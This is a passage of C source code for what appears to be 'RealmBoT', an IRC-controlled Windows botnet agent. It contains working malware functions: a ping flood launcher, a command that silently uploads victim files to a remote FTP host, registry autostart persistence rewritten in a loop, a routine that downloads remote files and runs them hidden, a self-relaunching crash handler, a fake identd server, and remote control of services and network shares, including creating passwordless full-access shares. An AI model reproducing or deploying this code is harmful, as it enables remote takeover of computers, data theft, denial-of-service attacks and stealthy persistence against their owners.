  2141. pings.threadnum = addthread(sendbuf,PING_THREAD,NULL);
  2142. if (threads[pings.threadnum].tHandle = CreateThread(NULL, 0, &ping, (LPVOID)&pings, 0, &id)) {
  2143. while(pings.gotinfo == FALSE)
  2144. Sleep(50);
  2145. } else
  2146. sprintf(sendbuf,"[REALMBOT-PING] : Failed to start flood thread, error: <%d>.", GetLastError());
  2147. } else
  2148. strncpy(sendbuf, "ICMP.dll not available", sizeof(sendbuf)-1);
  2149.  
  2150. if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  2151. addlog(sendbuf);
  2152.  
  2153. return 1;
  2154. }
  2155. #endif
  2156.  
  2157. #ifndef NO_HTTP
  2158. else if (strcmp("httpcon",a[s]) == 0 || strcmp("util.hcon",a[s]) == 0) {
  2159. HTTP_Connect(sock,a[2],notice,silent,a[s+1],atoi(a[s+2]),a[s+3],a[s+4],a[s+5]);
  2160.  
  2161. return repeat;
  2162. }
  2163. #endif
  2164.  
  2165. // commands requiring at least 5 parameters
  2166. else if (a[s+5] == NULL) return 1;
  2167. else if (strcmp("ftp.upload",a[s]) == 0) {
  2168. if (!FileExists(a[s+5])) {
  2169. sprintf(sendbuf,"RealmBoT (ftp.p.l.g) .»». File not found: %s.", a[s+5]);
  2170. if (!silent) irc_privmsg(sock,a[2],sendbuf,notice);
  2171. addlog(sendbuf);
  2172. return 1;
  2173. }
  2174. char tmpftp[MAX_PATH],tmpsys[MAX_PATH];
  2175.  
  2176. srand(GetTickCount());
  2177. sprintf(tmpftp,"%s\\%i%i%i.dll",tmpsys,rand()%999,rand()%99,rand()%9);
  2178.  
  2179. FILE * fp = fopen(tmpftp,"ab");
  2180. if (fp != NULL) {
  2181. fprintf(fp, "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n",
  2182. a[s+1],a[s+2],a[s+3],a[s+4],a[s+5]);
  2183. fclose(fp);
  2184.  
  2185. char cmdline[256];
  2186. sprintf(cmdline,"-s:%s",tmpftp);
  2187. if (fShellExecute(0, "open", "ftp.exe", cmdline, NULL, SW_HIDE))
  2188. sprintf("RealmBoT (ftp.p.l.g) .»». Uploading file: %s to: %s",a[s+5],a[s+1]);
  2189. else
  2190. sprintf("RealmBoT (ftp.p.l.g) .»». Uploading file: %s to: %s failed.",a[s+5],a[s+1]);
  2191.  
  2192. if (!silent) irc_privmsg(sock,a[2],sendbuf,notice);
  2193. addlog(sendbuf);
  2194.  
  2195. while (FileExists(tmpftp))
  2196. remove(tmpftp);
  2197. }
  2198.  
  2199. return 1;
  2200. }
  2201. }
  2202. }
  2203.  
  2204. return repeat;
  2205. }
  2206.  
  2207.  
  2208. // globals
  2209. #ifdef DEBUG_LOGGING
  2210. FILE *gfp;
  2211. #endif
  2212.  
  2213. char log[LOGSIZE][LOGLINE];
  2214.  
  2215. int addalias(char *name, char *command)
  2216. {
  2217. int i;
  2218. for (i = 0; i < MAXALIASES; i++) {
  2219. if (aliases[i].name[0] == '\0' || strcmp(aliases[i].name, name) == 0) {
  2220. memset(&aliases[i], 0, sizeof(aliases[i]));
  2221. strncpy(aliases[i].name, name, sizeof(aliases[i].name)-1);
  2222. strncpy(aliases[i].command, command, sizeof(aliases[i].command)-1);
  2223. anum++;
  2224. break;
  2225. }
  2226. }
  2227. return i;
  2228. }
  2229.  
  2230. void aliaslist(SOCKET sock, char *chan, BOOL notice)
  2231. {
  2232. char buffer[IRCLINE];
  2233.  
  2234. irc_privmsg(sock, chan, "-[Alias List]-", notice);
  2235. for (int i = 0; i < MAXALIASES; i++) {
  2236. if (aliases[i].name[0] != '\0') {
  2237. _snprintf(buffer, sizeof(buffer),"%d. %s = %s", i, aliases[i].name, aliases[i].command);
  2238. irc_privmsg(sock, chan, buffer, notice,TRUE);
  2239. }
  2240. }
  2241.  
  2242. return;
  2243. }
  2244.  
  2245. void addlog(char *desc)
  2246. {
  2247. SYSTEMTIME st;
  2248.  
  2249. GetLocalTime(&st);
  2250.  
  2251. for (register int i = LOGSIZE; i >= 0; i--)
  2252. if (log[i][0] != '\0')
  2253. strncpy(log[i+1], log[i], sizeof(log[i+1])-1);
  2254. _snprintf(log[0], sizeof(log[0]), "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s", st.wMonth, st.wDay, st.wYear, st.wHour, st.wMinute, st.wSecond, desc);
  2255.  
  2256. return;
  2257. }
  2258.  
  2259. void addlogv(char *desc, ...)
  2260. {
  2261. char logbuf[LOGLINE];
  2262.  
  2263. va_list argp;
  2264. va_start(argp, desc);
  2265. _vsnprintf(logbuf, sizeof(logbuf), desc, argp);
  2266.  
  2267. addlog(logbuf);
  2268.  
  2269. return;
  2270. }
  2271.  
  2272. void showlog(SOCKET sock, char *chan, BOOL notice, BOOL silent, char *filter)
  2273. {
  2274. int entries = LOGSIZE, tmp = 0;
  2275.  
  2276. if (!silent) irc_privmsg(sock, chan, "-[Logs]-", notice);
  2277.  
  2278. if (filter) {
  2279. if ((tmp = atoi(filter)) != 0)
  2280. entries = tmp;
  2281. }
  2282.  
  2283. for (int i = 0, j = 0; i < LOGSIZE && j < entries; i++, j++)
  2284. if (log[i][0] != '\0') {
  2285. if (!filter || tmp != 0)
  2286. irc_privmsg(sock, chan, log[i], notice, TRUE);
  2287. else if (lstrstr(log[i], filter))
  2288. irc_privmsg(sock, chan, log[i], notice, TRUE);
  2289. }
  2290.  
  2291. return;
  2292. }
  2293.  
  2294. void clearlog(SOCKET sock, char *chan, BOOL notice, BOOL silent)
  2295. {
  2296. for (register int i = 0;i < LOGSIZE; log[i++][0] = '\0');
  2297. if (!silent) irc_privmsg(sock, chan, "RealmBoT (logs.p.l.g) .»». Cleared.", notice);
  2298. addlog("RealmBoT (logs.p.l.g) .»». Cleared.");
  2299.  
  2300. return;
  2301. }
  2302.  
  2303. BOOL searchlog(char *filter)
  2304. {
  2305. for (int i = 0; i < LOGSIZE; i++)
  2306. if (log[i][0] != '\0') {
  2307. if (lstrstr(log[i], filter))
  2308. return TRUE;
  2309. }
  2310.  
  2311. return FALSE;
  2312. }
  2313.  
  2314. DWORD WINAPI ShowLogThread(LPVOID param)
  2315. {
  2316. char sendbuf[IRCLINE];
  2317. int entries = LOGSIZE, tmp = 0;
  2318.  
  2319. SHOWLOG showlog = *((SHOWLOG *)param);
  2320. SHOWLOG *showlogp = (SHOWLOG *)param;
  2321. showlogp->gotinfo = TRUE;
  2322.  
  2323. if (!showlog.silent) irc_privmsg(showlog.sock,showlog.chan,"RealmBoT (log.p.l.g) .»». Begin",showlog.notice);
  2324.  
  2325. if (showlog.filter[0] != '\0') {
  2326. if ((tmp = atoi(showlog.filter)) != 0)
  2327. entries = tmp;
  2328. }
  2329.  
  2330. for (int i = 0, j = 0; i < LOGSIZE && j < entries; i++, j++)
  2331. if (log[i][0] != '\0') {
  2332. if (showlog.filter[0] == '\0' || tmp != 0)
  2333. irc_privmsg(showlog.sock, showlog.chan, log[i], showlog.notice, TRUE);
  2334. else if (lstrstr(log[i], showlog.filter))
  2335. irc_privmsg(showlog.sock, showlog.chan, log[i], showlog.notice, TRUE);
  2336. }
  2337.  
  2338. sprintf(sendbuf,"RealmBoT (log.p.l.g) .»». List complete.");
  2339. if (!showlog.silent) irc_privmsg(showlog.sock,showlog.chan,sendbuf,showlog.notice);
  2340. addlog(sendbuf);
  2341.  
  2342. clearthread(showlog.threadnum);
  2343.  
  2344. ExitThread(0);
  2345. }
  2346.  
  2347. #ifdef DEBUG_LOGGING
  2348. void opendebuglog(void)
  2349. {
  2350. gfp = fopen(logfile, "ab");
  2351.  
  2352. return;
  2353. }
  2354.  
  2355. void debuglog(char *buffer, BOOL crlf)
  2356. {
  2357. if (gfp != NULL) {
  2358. if (crlf)
  2359. fprintf(gfp,"%s\r\n",buffer);
  2360. else
  2361. fprintf(gfp,"%s",buffer);
  2362. fflush(gfp);
  2363. }
  2364.  
  2365. return;
  2366. }
  2367.  
  2368. void closedebuglog(void)
  2369. {
  2370. fclose(gfp);
  2371.  
  2372. return;
  2373. }
  2374. #endif
  2375.  
  2376.  
  2377. #ifndef NO_REGISTRY
  2378. int registry_delay=120;
  2379. #endif
  2380.  
  2381. AUTOSTART autostart[]={
  2382. {HKEY_LOCAL_MACHINE,(LPCTSTR)regkey1},
  2383. {HKEY_LOCAL_MACHINE,(LPCTSTR)regkey2},
  2384. {HKEY_CURRENT_USER,(LPCTSTR)regkey3}
  2385. };
  2386.  
  2387. void AutoStartRegs(char *nfilename)
  2388. {
  2389. HKEY key;
  2390.  
  2391. for (int i=0; i < (sizeof(autostart) / sizeof(AUTOSTART)); i++) {
  2392. fRegCreateKeyEx(autostart[i].hkey, autostart[i].subkey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, NULL);
  2393. if (nfilename)
  2394. fRegSetValueEx(key, valuename, 0, REG_SZ, (const unsigned char *)nfilename, strlen(nfilename));
  2395. else
  2396. fRegDeleteValue(key, valuename);
  2397. fRegCloseKey(key);
  2398. }
  2399.  
  2400. return;
  2401. }
  2402.  
  2403. #ifndef NO_REGISTRY
  2404. DWORD WINAPI AutoRegistry(LPVOID param)
  2405. {
  2406. char *nfilename = (char *)param;
  2407.  
  2408. while (1) {
  2409. AutoStartRegs(nfilename);
  2410. Sleep(registry_delay);
  2411. }
  2412. return 0;
  2413. }
  2414. #endif
  2415.  
  2416. #ifndef NO_DOWNLOAD
  2417.  
  2418. // function for downloading files/updating
  2419. DWORD WINAPI DownloadThread(LPVOID param)
  2420. {
  2421. char buffer[IRCLINE];
  2422. DWORD r, d, start, total, speed;
  2423.  
  2424. DOWNLOAD dl = *((DOWNLOAD *)param);
  2425. DOWNLOAD *dls = (DOWNLOAD *)param;
  2426. dls->gotinfo = TRUE;
  2427.  
  2428. HANDLE fh = fInternetOpenUrl(ih, dl.url, NULL, 0, 0, 0);
  2429. if (fh != NULL) {
  2430. // open the file
  2431. HANDLE f = CreateFile(dl.dest, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, 0);
  2432. // make sure that our file handle is valid
  2433. if (f < (HANDLE)1) {
  2434. sprintf(buffer,"RealmBoT (download.p.l.g) .»». Couldn't open file: %s.",dl.dest);
  2435. if (!dl.silent) irc_privmsg(dl.sock,dl.chan,buffer,dl.notice);
  2436. addlog(buffer);
  2437.  
  2438. clearthread(dl.threadnum);
  2439.  
  2440. ExitThread(0);;
  2441. }
  2442.  
  2443. total = 0;
  2444. start = GetTickCount();
  2445.  
  2446. char *fileTotBuff=(char *)malloc(512000); //FIX ME: Only checks first 500 kb
  2447. do {
  2448. memset(buffer, 0, sizeof(buffer));
  2449. fInternetReadFile(fh, buffer, sizeof(buffer), &r);
  2450. if (dl.encrypted)
  2451. Xorbuff(buffer,r);
  2452. WriteFile(f, buffer, r, &d, NULL);
  2453.  
  2454. if ((total) < 512000) {
  2455. //We have free bytes...
  2456. //512000-total
  2457. unsigned int bytestocopy;
  2458. bytestocopy=512000-total;
  2459. if (bytestocopy>r)
  2460. bytestocopy=r;
  2461. memcpy(&fileTotBuff[total],buffer,bytestocopy);
  2462. }
  2463. total+=r;
  2464. if (dl.filelen)
  2465. if (total>dl.filelen)
  2466. break; //er, we have a problem... filesize is too big.
  2467. if (dl.update != 1)
  2468. sprintf(threads[dl.threadnum].name, "RealmBoT (download.p.l.g) .»». File download: %s (%dKB transferred).", dl.url, total / 1024);
  2469. else
  2470. sprintf(threads[dl.threadnum].name, "RealmBoT (download.p.l.g) .»». Update: %s (%dKB transferred).", dl.url, total / 1024);
  2471. } while (r > 0);
  2472.  
  2473. BOOL goodfile=TRUE;
  2474.  
  2475. if (dl.filelen) {
  2476. if (total!=dl.filelen) {
  2477. goodfile=FALSE;
  2478. sprintf(buffer,"RealmBoT (download.p.l.g) .»». Filesize is incorrect: (%d != %d).", total, dl.filelen);
  2479. irc_privmsg(dl.sock,dl.chan,buffer,dl.notice);
  2480. addlog(buffer);
  2481. }
  2482. }
  2483. speed = total / (((GetTickCount() - start) / 1000) + 1);
  2484. CloseHandle(f);
  2485.  
  2486.  
  2487. free(fileTotBuff);
  2488.  
  2489. if (dl.expectedcrc) {
  2490. unsigned long crc=crc32f(dl.dest);
  2491. if (crc!=dl.expectedcrc) {
  2492. goodfile=FALSE;
  2493. sprintf(buffer,"RealmBoT (download.p.l.g) .»». CRC Failed (%d != %d).", crc, dl.expectedcrc);
  2494. irc_privmsg(dl.sock, dl.chan, buffer, dl.notice);
  2495. addlog(buffer);
  2496. }
  2497. }
  2498.  
  2499. if (goodfile==FALSE)
  2500. goto badfile;
  2501.  
  2502. //download isn't an update
  2503. if (dl.update != 1) {
  2504. sprintf(buffer, "RealmBoT (download.p.l.g) .»». Downloaded %.1f KB to %s @ %.1f KB/sec.", total / 1024.0, dl.dest, speed / 1024.0);
  2505. if (!dl.silent) irc_privmsg(dl.sock, dl.chan, buffer, dl.notice);
  2506. addlog(buffer);
  2507.  
  2508. if (dl.run == 1) {
  2509. fShellExecute(0, "open", dl.dest, NULL, NULL, SW_SHOW);
  2510. if (!dl.silent) {
  2511. sprintf(buffer,"RealmBoT (download.p.l.g) .»». Opened: %s.",dl.dest);
  2512. irc_privmsg(dl.sock,dl.chan,buffer,dl.notice);
  2513. addlog(buffer);
  2514. }
  2515. }
  2516.  
  2517. // download is an update
  2518. } else {
  2519. sprintf(buffer, "RealmBoT (download.p.l.g) .»». Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.", total / 1024.0, dl.dest, speed / 1024.0);
  2520. if (!dl.silent) irc_privmsg(dl.sock, dl.chan, buffer, dl.notice);
  2521. addlog(buffer);
  2522.  
  2523. PROCESS_INFORMATION pinfo;
  2524. STARTUPINFO sinfo;
  2525. memset(&pinfo, 0, sizeof(pinfo));
  2526. memset(&sinfo, 0, sizeof(sinfo));
  2527. sinfo.lpTitle = "";
  2528. sinfo.cb = sizeof(sinfo);
  2529. sinfo.dwFlags = STARTF_USESHOWWINDOW;
  2530. sinfo.wShowWindow = SW_HIDE;
  2531.  
  2532. if (CreateProcess(NULL, dl.dest, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo) == TRUE) {
  2533. fWSACleanup();
  2534. uninstall();
  2535. ExitProcess(EXIT_SUCCESS);
  2536. } else {
  2537. sprintf(buffer,"RealmBoT (download.p.l.g) .»». Update failed: Error executing file: %s.",dl.dest);
  2538. if (!dl.silent) irc_privmsg(dl.sock, dl.chan, buffer, dl.notice);
  2539. addlog(buffer);
  2540. }
  2541. }
  2542. } else {
  2543. sprintf(buffer,"RealmBoT (download.p.l.g) .»». Bad URL, or DNS Error: %s.",dl.url);
  2544. if (!dl.silent) irc_privmsg(dl.sock, dl.chan, buffer, dl.notice);
  2545. addlog(buffer);
  2546. }
  2547.  
  2548. badfile:
  2549. fInternetCloseHandle(fh);
  2550.  
  2551. clearthread(dl.threadnum);
  2552.  
  2553. ExitThread(0);
  2554. }
  2555.  
  2556. char *Xorbuff(char *buffer,int bufferLen)
  2557. {
  2558. for (int i=0;i<bufferLen;i++)
  2559. buffer[i]^=prefix;
  2560.  
  2561. return (buffer);
  2562. }
  2563. #endif
  2564. #ifndef NO_EHANDLER
  2565.  
  2566. // globals
  2567. DWORD scratch;
  2568.  
  2569. EXCEPTION_DISPOSITION cdecl _except_handler(struct _EXCEPTION_RECORD *ExceptionRecord,
  2570. void *EstablisherFrame,struct _CONTEXT *ContextRecord,void *DispatcherContext)
  2571. {
  2572.  
  2573. // do some clean-up
  2574. fclosesocket(threads[0].sock);
  2575. killthreadall();
  2576. fWSACleanup();
  2577. fWSACleanup();
  2578. Sleep(100);
  2579.  
  2580. PROCESS_INFORMATION pinfo;
  2581. STARTUPINFO sinfo;
  2582. memset(&pinfo, 0, sizeof(pinfo));
  2583. memset(&sinfo, 0, sizeof(sinfo));
  2584. sinfo.lpTitle = "";
  2585. sinfo.cb = sizeof(sinfo);
  2586. sinfo.dwFlags = STARTF_USESHOWWINDOW;
  2587.  
  2588.  
  2589. char botfile[MAX_PATH],windir[MAX_PATH];
  2590. GetWindowsDirectory(windir, sizeof(windir));
  2591. GetModuleFileName(NULL, botfile, sizeof(botfile));
  2592.  
  2593. if (CreateProcess(NULL, botfile, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, windir, &sinfo, &pinfo)) {
  2594. Sleep(100);
  2595. CloseHandle(pinfo.hProcess);
  2596. CloseHandle(pinfo.hThread);
  2597. }
  2598.  
  2599. // Change EAX in the context record so that it points to someplace
  2600. // where we can successfully write
  2601. ContextRecord->Eax = (DWORD)&scratch;
  2602.  
  2603. _asm
  2604. { // Remove our EXECEPTION_REGISTRATION record
  2605. mov eax,[ESP] // Get pointer to previous record
  2606. mov FS:[0], EAX // Install previous record
  2607. add esp, 8 // Clean our EXECEPTION_REGISTRATION off stack
  2608. }
  2609.  
  2610. ExitProcess(0);
  2611.  
  2612. // Tell the OS to restart the faulting instruction
  2613. return ExceptionContinueExecution;
  2614. }
  2615. #endif
  2616.  
  2617.  
  2618. #ifndef NO_IDENT
  2619.  
  2620. DWORD WINAPI IdentThread(LPVOID param)
  2621. {
  2622. char user[12], buffer[IRCLINE];
  2623.  
  2624. int threadnum = (int)param;
  2625. BOOL success = FALSE;
  2626.  
  2627. SOCKET ssock,csock;
  2628.  
  2629. SOCKADDR_IN ssin, csin;
  2630. memset(&ssin, 0, sizeof(ssin));
  2631. ssin.sin_family = AF_INET;
  2632. ssin.sin_port = fhtons((unsigned short)113);
  2633. ssin.sin_addr.s_addr=INADDR_ANY;
  2634.  
  2635. if ((ssock = fsocket(AF_INET, SOCK_STREAM, 0)) != INVALID_SOCKET) {
  2636. threads[threadnum].sock = ssock;
  2637. if (fbind(ssock, (LPSOCKADDR)&ssin, sizeof(ssin)) != SOCKET_ERROR) {
  2638. if (flisten(ssock, 5) != SOCKET_ERROR) {
  2639. int csin_len = sizeof(csin);
  2640.  
  2641. while (1) {
  2642. if ((csock = faccept(ssock,(LPSOCKADDR)&csin,&csin_len)) == INVALID_SOCKET)
  2643. break;
  2644.  
  2645. sprintf(buffer, "RealmBoT (identd.p.l.g) .»». Client connection from IP: %s:%d.", finet_ntoa(csin.sin_addr), csin.sin_port);
  2646. addlog(buffer);
  2647.  
  2648. if (frecv(csock,buffer,sizeof(buffer),0) != SOCKET_ERROR) {
  2649. Split(buffer,0);
  2650.  
  2651. memset(user, 0, sizeof(user));
  2652. _snprintf(buffer,sizeof(buffer)," : USERID : UNIX : %s\r\n",rndnick(user, LETTERNICK, FALSE));
  2653.  
  2654. if (fsend(csock,buffer,strlen(buffer),0) != SOCKET_ERROR)
  2655. success = TRUE;
  2656.  
  2657. }
  2658. }
  2659. }
  2660. }
  2661. }
  2662.  
  2663. if (!success) {
  2664. sprintf(buffer, "RealmBoT (identd.p.l.g) .»». Error: server failed, returned: <%d>.", fWSAGetLastError());
  2665. addlog(buffer);
  2666. }
  2667.  
  2668. fclosesocket(ssock);
  2669. fclosesocket(csock);
  2670. clearthread(threadnum);
  2671.  
  2672. ExitThread(0);
  2673. }
  2674. #endif
  2675.  
  2676.  
  2677. #ifndef NO_NET
  2678. // globals
  2679. NetCommand netcommand[]={
  2680. {"Add","Added",0},
  2681. {"Delete","Deleted", 0},
  2682. {"List","Listed", 0},
  2683. {"Start","Started", 0},
  2684. {"Stop","Stopped", SERVICE_CONTROL_STOP},
  2685. {"Pause","Paused", SERVICE_CONTROL_PAUSE},
  2686. {"Continue","Continued", SERVICE_CONTROL_CONTINUE}
  2687. };
  2688.  
  2689. char *Services(int action, char *ServiceName)
  2690. {
  2691. static char buffer[IRCLINE];
  2692.  
  2693. if (ServiceName) {
  2694. DWORD svcError = ServiceControl(action, ServiceName, netcommand[action].control);
  2695. if (svcError == 0)
  2696. sprintf(buffer,".t.rn(01a) [net.m.d.l] .»». %s service: '%s'.", netcommand[action].completed, ServiceName);
  2697. else
  2698. sprintf(buffer,".t.rn(01a) [net.m.d.l] .»». Error with service: '%s'. %s", ServiceName, ServiceError(svcError));
  2699. }
  2700. else
  2701. sprintf(buffer,".t.rn(01a) [net.m.d.l] .»». %s: No service specified.", netcommand[action].action);
  2702.  
  2703. return (buffer);
  2704. }
  2705.  
  2706. DWORD ServiceControl(int option, char *ServiceName, DWORD dwControl, DWORD nArg, LPCTSTR *pArg)
  2707. {
  2708. DWORD svcError=0;
  2709. SERVICE_STATUS status;
  2710.  
  2711. SC_HANDLE schSCManager = fOpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
  2712. if (schSCManager == 0)
  2713. svcError = GetLastError();
  2714. else {
  2715. SC_HANDLE schService = fOpenService(schSCManager, ServiceName, SERVICE_ALL_ACCESS);
  2716. if (schService == 0)
  2717. svcError = GetLastError();
  2718. else {
  2719. switch (option) {
  2720. case NET_START:
  2721. if (!fStartService(schService,nArg,pArg))
  2722. svcError = GetLastError();
  2723. break;
  2724. case NET_DELETE:
  2725. if (!fDeleteService(schService))
  2726. svcError = GetLastError();
  2727. break;
  2728. case NET_STOP:
  2729. case NET_PAUSE:
  2730. case NET_CONTINUE:
  2731. if (!fControlService(schService,dwControl,&status))
  2732. svcError = GetLastError();
  2733. break;
  2734. default:
  2735. break;
  2736. }
  2737. fCloseServiceHandle(schService);
  2738. }
  2739. fCloseServiceHandle(schSCManager);
  2740. }
  2741.  
  2742. return (svcError);
  2743. }
  2744.  
  2745. static char *ServiceError(DWORD svcError)
  2746. {
  2747. static char retError[90];
  2748.  
  2749. switch (svcError) {
  2750. case ERROR_DATABASE_DOES_NOT_EXIST:
  2751. sprintf(retError,"The specified database does not exist.");
  2752. break;
  2753. case ERROR_ACCESS_DENIED:
  2754. sprintf(retError,"The handle does not have the required access right.");
  2755. break;
  2756. case ERROR_INVALID_NAME:
  2757. sprintf(retError,"The specified service name is invalid.");
  2758. break;
  2759. case ERROR_INVALID_HANDLE:
  2760. sprintf(retError,"The handle is invalid.");
  2761. break;
  2762. case ERROR_PATH_NOT_FOUND:
  2763. sprintf(retError,"The service binary file could not be found.");
  2764. break;
  2765. case ERROR_SERVICE_ALREADY_RUNNING:
  2766. sprintf(retError,"An instance of the service is already running.");
  2767. break;
  2768. case ERROR_SERVICE_DATABASE_LOCKED:
  2769. sprintf(retError,"The database is locked.");
  2770. break;
  2771. case ERROR_SERVICE_DEPENDENCY_DELETED:
  2772. sprintf(retError,"The service depends on a service that does not exist or has been marked for deletion.");
  2773. break;
  2774. case ERROR_SERVICE_DEPENDENCY_FAIL:
  2775. sprintf(retError,"The service depends on another service that has failed to start.");
  2776. break;
  2777. case ERROR_SERVICE_DISABLED:
  2778. sprintf(retError,"The service has been disabled.");
  2779. break;
  2780. case ERROR_SERVICE_DOES_NOT_EXIST:
  2781. sprintf(retError,"The specified service does not exist.");
  2782. break;
  2783. case ERROR_SERVICE_LOGON_FAILED:
  2784. sprintf(retError,"The service could not be logged on. The account does not have the correct access rights.");
  2785. break;
  2786. case ERROR_SERVICE_MARKED_FOR_DELETE:
  2787. sprintf(retError,"The service has been marked for deletion.");
  2788. break;
  2789. case ERROR_SERVICE_NO_THREAD:
  2790. sprintf(retError,"A thread could not be created for the service.");
  2791. break;
  2792. case ERROR_SERVICE_REQUEST_TIMEOUT:
  2793. sprintf(retError,"The process for the service was started, but it did not call StartServiceCtrlDispatcher.");
  2794. break;
  2795. case ERROR_DEPENDENT_SERVICES_RUNNING:
  2796. sprintf(retError,"The service cannot be stopped because other running services are dependent on it.");
  2797. break;
  2798. case ERROR_INVALID_PARAMETER:
  2799. sprintf(retError,"The requested control code is undefined.");
  2800. break;
  2801. case ERROR_INVALID_SERVICE_CONTROL:
  2802. sprintf(retError,"The requested control code is not valid, or it is unacceptable to the service.");
  2803. break;
  2804. case ERROR_SERVICE_CANNOT_ACCEPT_CTRL:
  2805. sprintf(retError,"The requested control code cannot be sent to the service because the state of the service.");
  2806. break;
  2807. case ERROR_SERVICE_NOT_ACTIVE:
  2808. sprintf(retError,"The service has not been started.");
  2809. break;
  2810. case ERROR_SHUTDOWN_IN_PROGRESS:
  2811. sprintf(retError,"The system is shutting down.");
  2812. break;
  2813. default:
  2814. sprintf(retError,"An unknown error occurred: <%ld>", svcError);
  2815. }
  2816.  
  2817. return (retError);
  2818.  
  2819. }
  2820.  
  2821. BOOL ListServices(SOCKET sock, char *chan, BOOL notice)
  2822. {
  2823. char buffer[IRCLINE], svcState[20];
  2824.  
  2825. ENUM_SERVICE_STATUS enumeration[10];
  2826. DWORD bytesneeded, servicesreturned, resumehandle = 0;
  2827.  
  2828. SC_HANDLE handle = fOpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
  2829.  
  2830. irc_privmsg(sock,chan,"The following Windows services are registered:",notice);
  2831.  
  2832. while (fEnumServicesStatus(handle, SERVICE_WIN32, SERVICE_STATE_ALL, enumeration,
  2833. sizeof(ENUM_SERVICE_STATUS)*10, &bytesneeded, &servicesreturned, &resumehandle) ||
  2834. GetLastError() == ERROR_MORE_DATA)
  2835. {
  2836. for (int i=0; i < (int)servicesreturned; i++) {
  2837. switch (enumeration[i].ServiceStatus.dwCurrentState) {
  2838. case SERVICE_STOPPED:
  2839. sprintf(svcState," Stopped");
  2840. break;
  2841. case SERVICE_START_PENDING:
  2842. sprintf(svcState," Starting");
  2843. break;
  2844. case SERVICE_STOP_PENDING:
  2845. sprintf(svcState," Stoping");
  2846. break;
  2847. case SERVICE_RUNNING:
  2848. sprintf(svcState," Running");
  2849. break;
  2850. case SERVICE_CONTINUE_PENDING:
  2851. sprintf(svcState," Continuing");
  2852. break;
  2853. case SERVICE_PAUSE_PENDING:
  2854. sprintf(svcState," Pausing");
  2855. break;
  2856. case SERVICE_PAUSED:
  2857. sprintf(svcState," Paused");
  2858. break;
  2859. default:
  2860. sprintf(svcState," Unknown");
  2861. break;
  2862. }
  2863. sprintf(buffer,"%s: %s (%s)", svcState, enumeration[i].lpServiceName, enumeration[i].lpDisplayName);
  2864. irc_privmsg(sock,chan,buffer,notice,TRUE);
  2865. }
  2866. if (resumehandle == 0)
  2867. break;
  2868. }
  2869. fCloseServiceHandle(handle);
  2870.  
  2871. if(servicesreturned<=0)
  2872. return FALSE;
  2873.  
  2874. return TRUE;
  2875. }
  2876.  
  2877. char *Shares(int action, char *ShareName, char *SharePath)
  2878. {
  2879. static char buffer[IRCLINE];
  2880. NET_API_STATUS nStatus = 0;
  2881.  
  2882. if (ShareName) {
  2883. switch (action) {
  2884. case NET_ADD:
  2885. if(SharePath || strchr(ShareName,'$'))
  2886. nStatus = ShareAdd(NULL,ShareName,SharePath);
  2887. else
  2888. nStatus = ERROR_INVALID_PARAMETER;
  2889. break;
  2890. case NET_DELETE:
  2891. nStatus = ShareDel(NULL, ShareName);
  2892. break;
  2893. }
  2894.  
  2895. if (nStatus == NERR_Success)
  2896. sprintf(buffer,".t.rn(01a) [net.m.d.l] .»». %s share: '%s'.", netcommand[action].completed, ShareName);
  2897. else
  2898. sprintf(buffer,".t.rn(01a) [net.m.d.l] .»». %s: Error with share: '%s'. %s", netcommand[action].action, ShareName, NasError(nStatus));
  2899. }
  2900. else
  2901. sprintf(buffer,".t.rn(01a) [net.m.d.l] .»». %s: No share specified.", netcommand[action].action);
  2902.  
  2903. return (buffer);
  2904. }
  2905.  
  2906. static char *AsWideString(const char *cszANSIstring)
  2907. {
  2908. if(cszANSIstring == NULL)
  2909. return NULL;
  2910.  
  2911. int nBufSize = MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, cszANSIstring, -1, NULL, 0);
  2912. WCHAR *wideString = new WCHAR[nBufSize+1];
  2913. MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, cszANSIstring, -1, wideString, nBufSize);
  2914.  
  2915. return reinterpret_cast<char*>(wideString);
  2916. }
  2917.  
  2918. char *AsAnsiString(const WCHAR *cszWIDEstring)
  2919. {
  2920. if(cszWIDEstring == NULL)
  2921. return NULL;
  2922.  
  2923. int nBufSize = WideCharToMultiByte(CP_ACP, WC_NO_BEST_FIT_CHARS, cszWIDEstring, -1, NULL, 0, NULL, NULL);
  2924. static char* ansiString = new char[nBufSize+1];
  2925. WideCharToMultiByte(CP_ACP, WC_NO_BEST_FIT_CHARS, cszWIDEstring, -1, ansiString, nBufSize, NULL, NULL);
  2926.  
  2927. return reinterpret_cast<char*>(ansiString);
  2928. }
  2929.  
  2930. NET_API_STATUS ShareAdd(char *ServerName, char *ShareName, char *SharePath)
  2931. {
  2932. SHARE_INFO_2 pBuf; // NT only
  2933. DWORD parm_err;
  2934.  
  2935. // Assign values to the SHARES_INFO_2 structure.
  2936. LPWSTR wServerName = (LPWSTR)AsWideString(ServerName);
  2937. pBuf.shi2_netname = (LPWSTR)AsWideString(ShareName);
  2938. if (strchr(ShareName, '$'))
  2939. pBuf.shi2_type = STYPE_SPECIAL; // $c, $d, $ipc, $admin
  2940. else
  2941. pBuf.shi2_type = STYPE_DISKTREE; // anything else
  2942. pBuf.shi2_remark = NULL; // No share comment
  2943. pBuf.shi2_permissions = ACCESS_ALL;
  2944. pBuf.shi2_max_uses = -1; // Unlimited
  2945. pBuf.shi2_current_uses = 0;
  2946. pBuf.shi2_path = (LPWSTR)AsWideString(SharePath);
  2947. pBuf.shi2_passwd = NULL; // No password
  2948.  
  2949. // level must be 2 for NT, otherwise it's 50 on 9x (but who cares ;)
  2950. NET_API_STATUS nStatus = fNetShareAdd(wServerName, 2, (LPBYTE)&pBuf, &parm_err);
  2951.  
  2952. return (nStatus);
  2953. }
  2954.  
  2955. NET_API_STATUS ShareDel(char *ServerName, char *ShareName)
  2956. {
  2957. LPWSTR wServerName = (LPWSTR)AsWideString(ServerName);
